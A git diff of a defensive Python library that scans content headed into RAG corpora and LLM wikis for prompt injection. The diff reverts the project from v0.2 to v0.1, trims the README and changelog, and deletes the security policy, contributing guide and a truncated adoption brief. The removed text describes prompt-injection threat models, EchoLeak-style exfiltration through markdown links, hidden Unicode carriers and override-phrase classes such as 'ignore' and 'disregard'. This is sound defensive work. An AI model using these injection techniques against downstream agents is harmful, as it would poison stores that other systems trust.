diff --git a/.gitignore b/.gitignore index e7cb749..1754669 100644 --- a/.gitignore +++ b/.gitignore @@ -22,5 +22,4 @@ coverage/ .env .env.* *.local.md -*.local.sh .DS_Store diff --git a/CHANGELOG.md b/CHANGELOG.md index d5c7c23..bf39090 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,87 +5,9 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [Unreleased] +## [Unreleased] — v0.1.0 (alpha) -### Added — runnable threat-coverage matrix - -A single declarative manifest (`llm_ingestion_guard.coverage`) that proves, in one -place, every vulnerability class the guard stops — and the documented gaps it does -not. Two consumers of the same source of truth: - -- `python -m llm_ingestion_guard.coverage` — a narrated matrix - (`class -> OWASP -> expected -> observed -> verdict`); exit 0 iff every caught - class is caught and every documented gap holds. Stdlib-only, CI-usable. -- `tests/test_coverage_matrix.py` — asserts total recall over the core matrix - (carriers, all 83 lexicon patterns, entropy/decode-rescan, active content, the - contract asserters, the disposition engine, OKF T1–T7), asserts every documented - gap still holds, and guards completeness (every lexicon pattern id, and every - OWASP anchor claimed, has a case). Adds the full 25-pattern LLM02 secret-egress - set and the container-layer front-end classes (CSV formula-injection, zip-slip, - zip-bomb, symlink). +165 tests (357 → 522), no core dependency added. - -This is the real-case validation gate ahead of a v1.0 freeze. - -### Documentation — consumer adoption + README value proposition - -- `docs/ADOPTION-BRIEF.md` — a self-contained brief a consumer repo (OKF - second-brain / LLM wiki) can plan an inclusion from: the write-time trust-boundary - argument, the two bookends + 8-step contract, the shipped OKF adapter - (`import_bundle` mode-b), how to verify (coverage matrix), how to depend - (stdlib-only core), and a checklist for *when/where* to wire it. -- README rewritten to lead with the write-time trust-boundary framing, add a - first-class **OKF / LLM-wiki support (shipped)** section for `import_bundle`, a - concrete **What it protects against** catalogue (attack classes grouped by OWASP - anchor, driven by the coverage matrix), and correct the test badge (357 → 522). - Every claim verified against the code. -- `docs/LIMITATIONS.md` — the full honest-limitations list (15 items + the four - documented gaps + out-of-scope) moved out of the README, which now carries a - high-impact summary + link, so protection and limits read in balance. - -## [0.2.0] — 2026-07-06 - -### Added — OKF adapter (stream 1) - -An OKF (Google Open Knowledge Format v0.1) adapter *on top of* the -format-agnostic core (`llm_ingestion_guard.okf`). The core stays `text -> -findings`; the adapter knows OKF structure and routes scannable regions into the -existing machinery. All TDD (failing test first), +61 tests. Verified against the -OKF `SPEC.md` (2026-07-06). See `docs/OKF-INGESTION-BRIEF.md` §8. - -- `parse_frontmatter` — strict, reject-by-default frontmatter loader; refuses - anchors, aliases, explicit tags, merge keys, block scalars and flow collections - by construction, so YAML anchor/alias DoS and `!!python/object` coercion cannot - occur (not a general YAML parser, by design). (T2) -- `scan_concept` — whole-concept scan surface: frontmatter values (incl. - `description`, read first under progressive disclosure), `resource` and body all - go through `scan_output`. (T1) -- `validate_concept_path` — path / reserved-name gate: rejects `..` traversal, - absolute paths and `index.md` / `log.md` shadowing; returns the concept-ID. (T4) -- `validate_resource_url` — `resource` https allowlist: rejects non-https before - commit (reject, not defang — the format imposes no scheme constraint itself). (T3) -- `stamp_concept` / `format_log_entry` — provenance stamping: origin × channel → - trust × disposition per concept, emitted as `log.md` lines. Trust follows the - origin, never the insertion channel. (T6) -- `import_bundle` — received-bundle iterator (mode b): validates each concept - (path, frontmatter, resource, scan, stamp) independently; one bad concept is - rejected fail-secure while the rest are still checked; the aggregate disposition - is the most severe. (T7) -- `link_graph` / `resolve_link` / `extract_link_targets` — in-import cross-link - graph: resolves `.md` links (bundle-absolute or relative) to concept-IDs, flags - dangling links (the §7.2 dormant-injection signal) and rejects dangerous-scheme - or bundle-escaping targets. (T5a) - -### Deferred - -- Cross-run persisted link graph (T5b) — catching a link planted in one run whose - poisoned target is written in a *later* run (§7.2) needs durable graph state - whose storage/ownership depends on the consuming pipeline. Deferred to the - consumer-wiring stream; cross-run dormant links remain a documented residual - risk (README honest-limitations). - -## [0.1.0] — 2026-07-06 (alpha) - -The stdlib-only core, built test-first (TDD) per `docs/PLAN.md`. Tagged `v0.1.0`. +The stdlib-only core, built test-first (TDD) per `docs/PLAN.md`. ### Added diff --git a/CLAUDE.md b/CLAUDE.md index 1bd34ff..8430dec 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -11,17 +11,9 @@ framework-agnostisk kode. Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`). Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen. -Repoet er på **v0.2 (alpha)**: stdlib-kjernen er bygget og testet (12 moduler + -topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold- -detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner -reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å -path-avvise dem; upload-front-end beholder shadow-reject (`allow_reserved=False`). -Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon -og secret-egress (LLM02), så en base64-innpakket credential fanges som -`decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert -restgap (entropy eksponerer kun base64-klartekst). -Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for -byggerekkefølgen. +Repoet er på **v0.1 (alpha)**: stdlib-kjernen er bygget og testet (10 moduler + +topp-nivå wiring, showcase + korpus). Start med `docs/BRIEF.md` for design, +`README.md` for bruk, `docs/PLAN.md` for byggerekkefølgen. ## Konvensjoner diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index 7b21e6e..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,65 +0,0 @@ -# Contributing - -Thanks for looking. This is a small, security-focused library; contributions are -welcome as long as they hold the invariants below. When in doubt, open a discussion -before a large change. - -## Where the project lives - -- Canonical repository: **Forgejo** — `git.fromaitochitta.com/open/llm-ingestion-pipeline-security`. -- There is no GitHub repository; do not open pull requests there. - -## Non-negotiable invariants - -A change that breaks one of these will not be merged, however useful it is otherwise: - -1. **Test-first (the Iron Law).** No production code without a failing test first. - Add the red test, then the minimal implementation that makes it green. A pure - refactor keeps the existing suite green *unchanged* as its proof of no behaviour - change. -2. **Stdlib-only core.** `pyproject.toml` `[project].dependencies` stays `[]`. The - deterministic core imports only the standard library. Extraction / ML / judge - libraries (`pypdf`, `python-docx`, `python-pptx`, `openpyxl`, ML detectors) live - **only** in an extra (`[dev]`, `[ml]`, `[judge]`), never in core `dependencies`. - The upload front-end and its parsers are dev-scoped showcase code under `tests/`. -3. **Report / mutation separation.** Detectors report findings; they never mutate - the scanned text. `neutralize` is the only defanging surface and it is opt-in and - byte-identical on clean input. -4. **Fail-secure / fail-closed stays total.** `guard()` and `screen_output` must - never turn an un-scannable or malformed input into a silent persist. -5. **Calibration lives in one place.** Tunable thresholds (entropy floors, - `MAX_SCAN_CHARS`, disposition ranks, cognitive-load lengths, severities) belong in - `src/llm_ingestion_guard/calibration.py`, so the planned Node/TS port can mirror - the exact numbers. Do not scatter magic numbers back into detectors. -6. **The shared lexicon is never split.** `injection_lexicon.json` is the single - pattern source of truth for both the Python core and the future TS port. -7. **Never ship a live payload.** Build attack strings in tests from `chr(0x…)` - fragments so the gitleaks pre-commit hook and the repo itself stay clean. Never - bypass the hook with `--no-verify`. - -## Running the tests - -```bash -python -m venv .venv -.venv/bin/pip install -e '.[dev]' # dev extra: extraction libs for the front-end showcase -PYTHONPATH=src .venv/bin/pytest # the full suite must be green -``` - -The suite is the release gate: a change is not done until the whole suite is green. - -## Commit style - -- **Conventional Commits:** `type(scope): description` (e.g. - `feat(egress): decode-rescan feeds base64 plaintext to secret-egress`). -- **No trailers.** Do not add `Co-Authored-By` / `Signed-off-by` / tool-attribution - trailers. -- Keep commits scoped: one logical change per commit; version bumps sync every file - that names the version in the same commit. - -## Scope and honest limits - -New detection is welcome, but the project ships its **limitations** as a control (see -`README.md` → *Honest limitations*). If a change narrows a stated gap, update that -section. If it introduces a new deliberate boundary, document it there rather than -leaving a silent miss. Absolute claims ("catches all …", "cannot be bypassed") do not -belong in this codebase. diff --git a/README.md b/README.md index 491ec20..ed3d67e 100644 --- a/README.md +++ b/README.md @@ -1,41 +1,32 @@ # llm-ingestion-guard -![Version](https://img.shields.io/badge/version-0.2.0-blue) +![Version](https://img.shields.io/badge/version-0.1.0-blue) ![Status](https://img.shields.io/badge/status-alpha-orange) ![Python](https://img.shields.io/badge/python-3.10%2B-purple) -![Tests](https://img.shields.io/badge/tests-522_passing-green) +![Tests](https://img.shields.io/badge/tests-214_passing-green) ![License](https://img.shields.io/badge/license-MIT-lightgrey) -**Write-time ingestion is the trust boundary that query-time guardrails -structurally cannot see.** When untrusted content passes through an LLM -enrichment/summarization/extraction step into a *persisted* artifact — a RAG -corpus, a knowledge base, an LLM wiki — the poisoned result is read *later* by a -downstream agent as **trusted context**. That agent's guardrail never sees where -the content came from. The only place the provenance still exists is the write. +A reusable, minimal, dependency-light defensive layer for **LLM ingestion +pipelines** — the write-time siblings of query-time chatbot guardrails. -This library packages that write-time contract — sanitize → fence → tool-less -quarantined transform → per-stage capability isolation → scan-before-commit → -fail-secure — as composable, stdlib-first, framework-agnostic code. It is the -write-time **sibling** of query-time tools (LLM Guard, NeMo Guardrails, Rebuff, -Vigil), not a competitor: those harden material as it enters the model; this -hardens it as it is committed for a *later* reader. Where existing OSS tooling is -mostly single-stage *detectors* — a risk verdict, with quarantine, capability -isolation, scan-before-persist, and fail-secure left to the integrator — this -packages the full contract as code. (Neighbours surveyed in -[`docs/BRIEF.md`](docs/BRIEF.md) §11.) +Where mature guardrails (LLM Guard, NeMo Guardrails, Rebuff, Vigil, …) sit +between a user and a model at query time, this library hardens the other shape: +untrusted content flowing through an LLM enrichment/summarization/extraction step +into a **persisted, downstream-consumed artifact** (RAG corpus, knowledge base, +wiki). It packages the architectural contract — sanitize → fence → tool-less +quarantined transform → per-stage capability isolation → scan output before +commit → fail-secure — as composable, stdlib-first, framework-agnostic code. -**Why an LLM wiki (e.g. Google OKF) needs this specifically.** OKF and -second-brain formats have no schema registry, no central authority, and no -signing — a bundle's claimed origin is not verifiable at the format level. So -*your ingestion pipeline is the trust boundary*: provenance must be stamped by you -at write time, never assumed from the format. Any pipeline ingesting external data -into an agent-read store has this shape; an OKF wiki is its canonical form — which -is why the guard ships a first-class OKF adapter (below). +The gap it fills is **not** "no one detects injection." It is a small *library* +(not a hosted service, not a fine-tuned model) that packages the **write-time +ingestion contract** — the part query-time tooling structurally cannot see, +because a poisoned artifact committed at write time is read by a *downstream* +agent whose guardrail never sees where it came from. -**Status:** `v0.2`, alpha. The stdlib-only core — its detector, contract, and -OKF-adapter modules plus the top-level wiring — is built and tested, exercised by -an end-to-end showcase and adversarial + false-positive corpora. The public API -may still change. There are real limitations, stated plainly below; read them. +**Status:** `v0.1`, alpha. The stdlib-only core is built and tested — ten +detector/contract modules and the top-level wiring, exercised by an end-to-end +showcase and adversarial + false-positive corpora. The public API may still +change. There are real limitations, stated plainly below; read them. ## Install @@ -56,13 +47,13 @@ from llm_ingestion_guard import ( prepare_input, screen_output, Disposition, PRESET_USER_UPLOAD, ) -prepared = prepare_input(untrusted_content) # sanitize + fence -enriched = your_model(prepared.fenced) # tool-less — YOUR call -decision = screen_output(enriched, PRESET_USER_UPLOAD) # scan + dispose +prepared = prepare_input(untrusted_content) # §6 1-2: sanitize + fence +enriched = your_model(prepared.fenced) # §6 3: tool-less — YOUR call +decision = screen_output(enriched, PRESET_USER_UPLOAD) # §6 6-7: scan + dispose if decision.disposition is Disposition.FAIL_SECURE: - alert(gate_code=decision.reasons) # minimal payload, no content - raise SystemExit # halt — never persist + alert(gate_code=decision.reasons) # §6 8: minimal payload, no content + raise SystemExit # §6 7: halt — never persist ``` `screen_output` fails **closed**: if the scanner itself errors on crafted input, @@ -73,78 +64,10 @@ and halts regardless of trust tier. Every primitive is also exported for pipelines that compose the checklist themselves — `sanitize`, `scan_lexicon`, `scan_entropy`, `scan_output`, -`scan_active_content`, `neutralize`, the `decide` / `guard` disposition -machinery, and the contract asserters `assert_tool_less` / -`assert_credential_allowlist` / `scoped_env`. See +`neutralize`, the `decide` / `guard` disposition machinery, and the contract +asserters `assert_tool_less` / `assert_credential_allowlist` / `scoped_env`. See [the end-to-end showcase](tests/test_showcase.py) for a full worked pipeline. -## OKF / LLM-wiki support (shipped) - -For a bundle-shaped store, the `okf` submodule sits **on top of** the -format-agnostic core: it knows OKF structure (frontmatter, paths, links, -`resource`, bundles) and feeds scannable regions into the same `sanitize` / -`scan_output` / disposition machinery — no YAML/format awareness leaks into the -core. Two ingestion modes: - -- **(a) Own enrichment output** — your agent writes concepts. Run the two bookends - above per concept before commit. -- **(b) Received external bundle** — you merge a whole third-party OKF bundle. - `import_bundle` iterates concept-by-concept and runs the full per-concept gate: - -```python -from llm_ingestion_guard.okf import import_bundle, Origin, Channel - -# bundle: {concept_path -> raw document text}, e.g. {"tables/users.md": "---\n..."} -result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC) - -for c in result.concepts: - if c.error: # hard reject: bad path, unsafe frontmatter, non-https resource - skip(c.path) # disposition is FAIL_SECURE; do not merge this concept -# result.disposition = most-severe across concepts -# result.links = the cross-link graph (dangling/rejected/resolved edges) -# result.log() = the log.md body (one provenance-stamped line per concept) -``` - -Per-concept gates: **path / reserved-name** (rejects `..` traversal and reserved -`index.md`/`log.md` shadowing); **frontmatter parse-safety** — a strict, -reject-by-default loader that refuses anchors, aliases, and explicit tags *by -construction*, so a billion-laughs alias expansion or a `!!python/object` coercion -cannot occur (it is deliberately **not** a general YAML engine, whose own features -are the attack surface); **`resource` https-allowlist** (hard-rejects -`data:`/`javascript:`/`file:` before commit — a reject-gate, not defang); -**whole-concept scan** (frontmatter *values* + body through `scan_output`); -**cross-link graph** (surfaces dangling targets, the dormant-injection signal, and -rejects bundle-escaping links); **provenance stamping** (`Origin` × `Channel` → -tier + disposition, emitted to `log.md`). - -## What it protects against - -Concrete attack classes, grouped by OWASP LLM Top-10 (2025) anchor. Every row is -driven by a **live payload** in the coverage matrix — run it to watch all 126 pass -in your own environment: - -```bash -python -m llm_ingestion_guard.coverage # 126/126 classes; exit 0 = all as documented -``` - -| Anchor | Attack classes it stops (representative) | -|---|---| -| **LLM01 · prompt injection** | 83 instruction-override lexicon classes (ignore / forget / disregard / suspend-constraints, role-play, jailbreak, …); hidden carriers — zero-width stego, BIDI override, Unicode-tag stego, HTML-comment, `data:` URI — stripped on input **and** re-checked at the persist gate; high-entropy base64/hex blobs; an injection hidden inside a base64 blob (decoded, then re-scanned) | -| **LLM02 · sensitive-info disclosure** | Secret egress in output — AWS keys, tokens, private keys, the credential set; a base64-*wrapped* secret (decoded → `decoded:egress:*`) | -| **LLM05 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; non-`https` `resource` URLs | -| **LLM06 · excessive agency** | A tool surface on the quarantined transform; credential use beyond the per-stage allowlist; capability isolation (`scoped_env`) | -| **LLM10 · fail-secure** | Forced-fallback attack (scan hit + transform failure → halt); compound weak-signal escalation; an un-scannable artifact fails **closed** — never a silent persist | -| **OKF structure (T1–T6)** | Body + frontmatter-value injection; YAML anchor / merge / nested / block DoS (parse-safety); `resource` allowlist; path traversal / reserved-name shadow; cross-link graph; provenance stamping | -| **Container / upload layer** | CSV/XLSX formula-injection (lead `= + - @`); zip-slip path escape; zip-bomb size cap; symlink refusal *(upload front-end — see the showcase)* | - -The manifest ([`coverage.py`](src/llm_ingestion_guard/coverage.py)) is the single -source of truth for -[`tests/test_coverage_matrix.py`](tests/test_coverage_matrix.py), which asserts -total recall over every class, that every documented gap still holds (a closed gap -fails the test), and that every lexicon pattern has a case — so the matrix cannot -fall behind the code. The four classes it deliberately does **not** stop are called -out in [Honest limitations](#honest-limitations). - ## The reusable contract (adopt-this checklist) The actual product is this checklist, encoded as code you wire in order: @@ -159,11 +82,8 @@ The actual product is this checklist, encoded as code you wire in order: key; the publish stage holds only the publish credential; no stage holds both. 5. **Treat output as data.** Parse to a frozen schema; reject on structural violation. The output never reaches a shell, git, or a filesystem path. -6. **Scan output before persist.** Run the lexicon + entropy + active-content - scan over the emitted text. Verbatim-carried payloads, model-emitted - instructions, and zero-click exfil carriers (EchoLeak-class markdown - images/links, raw active HTML, `data:` URIs) are caught here; `neutralize` - additionally defangs them, opt-in. +6. **Scan output before persist.** Run the lexicon + entropy over the emitted + text. Verbatim-carried payloads and model-emitted instructions are caught here. 7. **Fail-secure on compound signals.** Injection hit + transform failure = halt + alert, never a silent verbatim commit. 8. **Minimal alert payloads.** Alert with a gate code + run ID, never content. @@ -171,28 +91,33 @@ The actual product is this checklist, encoded as code you wire in order: Steps 1-2 are `prepare_input`; steps 6-7 are `screen_output`; steps 3-5 are yours; the contract asserters harden step 3-4. -## Honest limitations +## Honest limitations (shipped as a control) -Conceding these plainly is itself a control — it prevents the false assurance that -a green scan means safe content. The highest-impact items: +Conceding these plainly is itself a control — it prevents the false assurance +that a green scan means safe content: -- **The contract carries the security, not the lexicon.** Pattern detection is - bypassable in isolation (character-injection, novel phrasings); the tool-less - transform + capability isolation + fail-secure are the wall. -- **Semantic / factual poisoning is invisible.** A false claim in clean prose - carries no suspicious token — the highest-impact gap for a wiki. Needs a `[judge]` - plugged into the `grounding` seam. -- **Text-only, extracted-text-only.** The core parses no files; OCR-embedded - instructions, macros, and multimodal stego are out of scope. `.pdf` is refused as - unsupported, not half-scanned. -- **A lone HIGH in *trusted* prose disposes to WARN**, and **insider in-place - edits** are outside the untrusted-content threat model — run genuinely untrusted - sources as untrusted. -- **Four documented gaps** the coverage matrix keeps honest: hex-wrapped secret - egress, semantic poisoning, trusted-prose lone-HIGH, lexicon dedup (`count=1`). - -**Full list — 15 items, each with the mechanism, plus the out-of-scope boundary:** -[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). +- **Structural unsolvability at the text layer.** Pattern/lexicon detection is + bypassable in isolation; character-injection and novel phrasings evade it. The + *contract* (tool-less transform, capability isolation, fail-secure) is what + carries the security — the lexicon is defense-in-depth, not a wall. +- **Semantic / factual poisoning is invisible** to lexicon + entropy: a + factually false claim in clean prose carries no suspicious token. The + `grounding` module ships only a `SourceGroundingCheck` *seam* — the deterministic + core does not judge semantics; a `[judge]` implementation must be plugged in. +- **Adversarial-ML evasion** can survive normalization; **tokenizer mismatch** + between scanner and model leaves gaps. +- **Latent / dormant memory poisoning** is not judgeable at write time. +- **Insider in-place edits** by a trusted author are out of the untrusted-content + threat model. +- **Text-only.** The core is `text -> findings`: it parses no files (no + `pypdf`/`python-docx`/archive deps). Extract text first, then scan it with the + high-untrust upload provenance. OCR-embedded instructions and multimodal stego + in images/PDFs are out of scope beyond the sanitizer's character-layer stripping. +- **Lexicon findings are deduplicated by pattern id** — `count=1` and the first + offset are reported, so the same class matched across several channels/variants + collapses to one finding at its first location. This keeps reports readable, but + a caller that counts occurrences or needs every offset of a repeated pattern sees + only the first: a deliberate readability tradeoff, not full positional coverage. ## Out-of-scope (documented boundary) @@ -203,8 +128,6 @@ steganography; query-time / runtime guardrails; semantic factuality verification - [Design brief](docs/BRIEF.md) — what this repo contains and why. - [Build plan](docs/PLAN.md) — module build order and the reuse map. -- [Adoption brief](docs/ADOPTION-BRIEF.md) — wiring the guard into an OKF - second-brain / LLM wiki, and a checklist for *when* to include it. The contract is extracted from a working reference implementation (the `claude-code-llm-wiki` Stage B enrichment pipeline). Threat-model anchors: OWASP diff --git a/SECURITY.md b/SECURITY.md deleted file mode 100644 index c0fce47..0000000 --- a/SECURITY.md +++ /dev/null @@ -1,62 +0,0 @@ -# Security policy - -`llm-ingestion-guard` is a defensive library for LLM ingestion pipelines. Its own -security posture matters: a flaw here can silently admit a poisoned artifact into a -downstream corpus. Reports are welcome. - -## Supported versions - -The project is pre-1.0 (`0.2.x`, alpha). Only the latest published version receives -fixes; there are no back-ported security branches yet. Pin a version and watch the -`CHANGELOG.md` `### Security` entries. - -## Reporting a vulnerability - -**Do not open a public issue for a vulnerability.** Public disclosure before a fix -gives an attacker a window against every downstream consumer. - -Instead, report it **privately** to the maintainer via the canonical repository on -Forgejo: - -- Repository: `git.fromaitochitta.com/open/llm-ingestion-pipeline-security` -- Contact the maintainer directly through that Forgejo instance (private message / - maintainer contact) and mark the subject `SECURITY`. - -Please include: - -- affected version / commit, -- a minimal reproduction (input → observed disposition/finding vs. expected), -- the impact you see (e.g. a poisoned artifact that disposes `WARN` instead of - `FAIL_SECURE`). - -Obfuscate any real payloads the same way the test corpus does — build attack strings -from `chr(0x…)` fragments so the report itself does not ship a live carrier. - -## What counts as a vulnerability - -In scope (a real finding): - -- a bypass of a **stated** control — e.g. an invisible carrier that reaches the - persist gate without failing secure, a credential that egresses without a - `decoded:egress:*` / `egress:*` label, a `guard()` path that fails *open*; -- a `prepare_input` / `screen_output` code path that raises instead of failing - closed; -- a ReDoS or unbounded-resource input against the scanner. - -Out of scope (documented boundaries — see the **Honest limitations** section of -`README.md`, not vulnerabilities): - -- semantic / factual poisoning invisible to lexicon + entropy; -- a HIGH finding in *trusted* prose disposing to `WARN` (§4.7 trust-scaling); -- hex-wrapped (non-base64) secret egress; -- multimodal / binary-layer carriers (OCR, font stego, VBA/macros, encrypted files); -- the multilingual homoglyph-mix false positive. - -If you are unsure whether something is in scope, report it privately anyway. - -## Disclosure - -This is a small project without a formal embargo SLA. The maintainer will -acknowledge a report, agree a fix + disclosure timeline with the reporter, and -credit the reporter in the `CHANGELOG.md` `### Security` entry unless they prefer to -remain anonymous. diff --git a/docs/ADOPTION-BRIEF.md b/docs/ADOPTION-BRIEF.md deleted file mode 100644 index 75bd304..0000000 --- a/docs/ADOPTION-BRIEF.md +++ /dev/null @@ -1,237 +0,0 @@ -# Adoption brief — wiring `llm-ingestion-guard` into an OKF second-brain / LLM wiki - -**Audience:** a repo that is building (or planning) an LLM wiki / second-brain — -especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs -to decide **when** and **where** to add a write-time ingestion guard. - -**Status of the guard:** `v0.2` (alpha). Stdlib-only core, framework-agnostic. -Public API may still change. Read the honest-limitations section before you rely -on it. - -This brief is self-contained: you can plan an inclusion from it alone. Every -technical claim below is checkable against the guard repo (commands given inline). - ---- - -## 1. What this is — and what it is *not* - -`llm-ingestion-guard` is the **write-time** sibling of query-time chatbot -guardrails. It does **not** sit between a user and a model at query time (that is -LLM Guard / NeMo Guardrails / Rebuff / Vigil territory). It hardens the other -shape: **untrusted content flowing through an LLM enrichment/summarization/ -extraction step into a *persisted, downstream-consumed* artifact** — a RAG corpus, -a knowledge base, a wiki, an OKF bundle. - -Why this matters for a second-brain: a poisoned concept committed at **write** -time is later read by a *downstream* agent as **trusted context**. That agent's -query-time guardrail never sees where the concept came from. The write gate is the -only place the provenance is still known. **Your ingestion pipeline *is* the trust -boundary** — OKF has no schema registry, no central authority, and no signing, so -a received bundle's claimed origin is not verifiable at the format level. - -The library never makes the model call itself. It gives you the two library-side -halves around your own **tool-less** transform, plus an OKF adapter for bundles. - -## 2. The two bookends (the minimal integration) - -```python -from llm_ingestion_guard import ( - prepare_input, screen_output, Disposition, PRESET_USER_UPLOAD, -) - -prepared = prepare_input(untrusted_content) # sanitize + fence -enriched = your_model(prepared.fenced) # tool-less — YOUR call -decision = screen_output(enriched, PRESET_USER_UPLOAD) # scan + dispose - -if decision.disposition is Disposition.FAIL_SECURE: - alert(gate_code=decision.reasons) # minimal payload, no content - raise SystemExit # halt — never persist -``` - -`screen_output` fails **closed**: if the scanner itself errors on crafted input, -the disposition is `FAIL_SECURE`, never a silent persist. Pass -`transform_failed=True` when your model call raised or fell back — a scan hit -together with a transform failure is treated as a probable forced-fallback attack -and halts regardless of trust tier. - -## 3. The reusable contract (the actual product — an adopt-this checklist) - -The library is this checklist encoded as composable code you wire in order. Steps -1–2 are `prepare_input`; steps 6–7 are `screen_output`; steps 3–5 are yours (the -contract asserters harden 3–4): - -1. **Sanitize before fence.** Strip carrier classes (zero-width, BIDI, - Unicode-tag, HTML comment, `data:`) from untrusted input first. -2. **Fence untrusted input.** Spotlight-mark it in a randomized per-call delimiter; - strip attacker fence markers from the payload. -3. **Tool-less transform.** Call the model with zero tools. A successful injection - then has nothing to act with. -4. **Per-stage capability isolation.** The enrichment stage holds only the model - key; the publish stage holds only the publish credential; no stage holds both. -5. **Treat output as data.** Parse to a frozen schema; reject on structural - violation. Output never reaches a shell, git, or a filesystem path. -6. **Scan output before persist.** Lexicon + entropy + active-content scan over the - emitted text (catches verbatim-carried payloads, model-emitted instructions, - EchoLeak-class markdown images/links, raw active HTML, `data:` URIs). -7. **Fail-secure on compound signals.** Injection hit + transform failure = halt + - alert, never a silent verbatim commit. -8. **Minimal alert payloads.** Alert with a gate code + run ID, never content. - -You do not have to take all eight at once — every primitive is exported -(`sanitize`, `scan_lexicon`, `scan_entropy`, `scan_output`, `scan_active_content`, -`neutralize`, the `decide`/`guard` disposition machinery, and the contract -asserters `assert_tool_less` / `assert_credential_allowlist` / `scoped_env`). - -## 4. The OKF adapter (for bundle-shaped ingestion) - -If your second-brain is (or is converging on) OKF, the `okf` submodule sits **on -top of** the format-agnostic core: it knows OKF structure (frontmatter, paths, -links, `resource`, bundles) and feeds scannable regions into the same -`sanitize` / `scan_output` / disposition machinery. No YAML/format awareness leaks -into the core. - -Two ingestion modes: - -- **(a) Own enrichment output** — your agent writes concepts. Run the two bookends - (§2) per concept before commit. -- **(b) Received external bundle** — you merge a whole third-party OKF bundle. - `import_bundle` iterates concept-by-concept and runs the full per-concept gate: - -```python -from llm_ingestion_guard.okf import import_bundle, Origin, Channel - -# bundle: {concept_path -> raw document text}, e.g. {"tables/users.md": "---\n..."} -result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC) - -for c in result.concepts: - if c.error: # hard reject: bad path, unsafe frontmatter, non-https resource - skip(c.path) # disposition is FAIL_SECURE; do not merge this concept -# result.disposition = most-severe across concepts; result.links = cross-link graph -# result.log() = the log.md body (one provenance-stamped line per concept) -``` - -Per-concept gates the adapter applies (each maps to a named control): - -| Gate | What it does | -|---|---| -| **Path / reserved-name** | Rejects `..` traversal, absolute paths, and reserved-name shadowing. `validate_concept_path`. | -| **Frontmatter parse-safety** | `parse_frontmatter` is a strict, reject-by-default loader for the minimal OKF subset — anchors, aliases, and explicit tags are refused *by construction*, so billion-laughs alias DoS and `!!python/object` coercion cannot occur. It is deliberately **not** a general YAML engine (that engine's features *are* the attack surface). | -| **`resource` URL allowlist** | `validate_resource_url` hard-rejects non-`https` (`data:`/`javascript:`/`file:`) before commit — a reject-gate, not defang. | -| **Whole-concept scan** | Frontmatter *values* + body run through the core `scan_output`. | -| **Cross-link graph** | `link_graph` resolves in-bundle links, flags dangling targets (the dormant-injection signal), and rejects dangerous-scheme / bundle-escaping targets. | -| **Provenance stamping** | `Origin` × `Channel` → trust tier + disposition per concept, emitted to `log.md`. | - -**Reserved files (`index.md` / `log.md`) — a deliberate mode difference.** In a -*received* bundle these are legitimate structure (directory listing, update log), -so `import_bundle` defaults to `allow_reserved=True`: it **scans their body and -frontmatter** (a directory listing is a high-priority injection surface) rather -than path-rejecting an otherwise-conformant third-party bundle. A front-end that -materialises **individual uploads** should pass `allow_reserved=False` instead — -there a reserved basename is a shadow of the listing and must be refused. Pick the -rule that matches your channel. - -## 5. Verify what it stops (before you wire it in) - -The guard ships a runnable coverage matrix — every vulnerability class it stops, -and the ones it deliberately does not, each row driving the **real** guard with a -live payload: - -```bash -python -m llm_ingestion_guard.coverage # exit 0 = all as documented -``` - -As of `v0.2`: **126 / 126 defended classes demonstrated (recall 100%)** and **4 / -4 documented gaps still hold** (a *closed* gap fails the test, forcing a doc -update). The matrix is the single source of truth for the test suite (**522 -passing**), which also asserts total recall, that every lexicon pattern has a -case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress -set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb, -symlink). Run it once; it tells you exactly what assurance you are buying. - -## 6. How to depend on it - -```bash -pip install llm-ingestion-guard # stdlib-only core, zero dependencies -``` - -- **Core is stdlib-only** (`dependencies = []`), Python **3.10+**. Nothing to - vet for supply-chain beyond the package itself; it parses no files and makes no - network calls. -- **Optional extras**, none required: `[ml]` / `[judge]` (heavier detectors, e.g. - a semantic-poisoning judge behind the `grounding` seam), `[dev]` (file-extraction - libs used only by the dev-scoped upload showcase — `python-docx`/`python-pptx`/ - `openpyxl`/`lxml`/`Pillow`; never core dependencies). -- The core is `text -> findings`. If you ingest files, **extract text first**, then - scan the extracted text with high-untrust upload provenance. - -## 7. Planning checklist — *when* to include the guard - -Score your ingestion pipeline. The guard earns its place at the **persist gate** -when the untrusted-ingest condition holds: - -- [ ] You persist LLM-enriched or externally-received content into a store a - *downstream* agent later reads as trusted (RAG / KB / wiki / OKF bundle). -- [ ] **At least one ingest path takes UNTRUSTED content** — an external URL, an - uploaded file, a received third-party bundle, or auto-fetched web content. - *(This is the decisive one.)* -- [ ] An LLM step (summarize / extract / classify / rewrite) sits between the - untrusted source and the store. -- [ ] You want **fail-secure** (halt before persist) rather than best-effort - detection with a silent commit on error. - -**Where it applies vs. where it doesn't.** A second-brain that ingests primarily -the **user's own context** (onboarding writes conformant concepts, the user edits -their own notes) is a *first-party* path — the guard's untrusted-content threat -model does **not** target it, and trusted-author in-place edits are out of scope -by design. Wire the guard specifically at the **untrusted boundary**: a -"react-to-URL" command, an inbox that accepts external drops, a 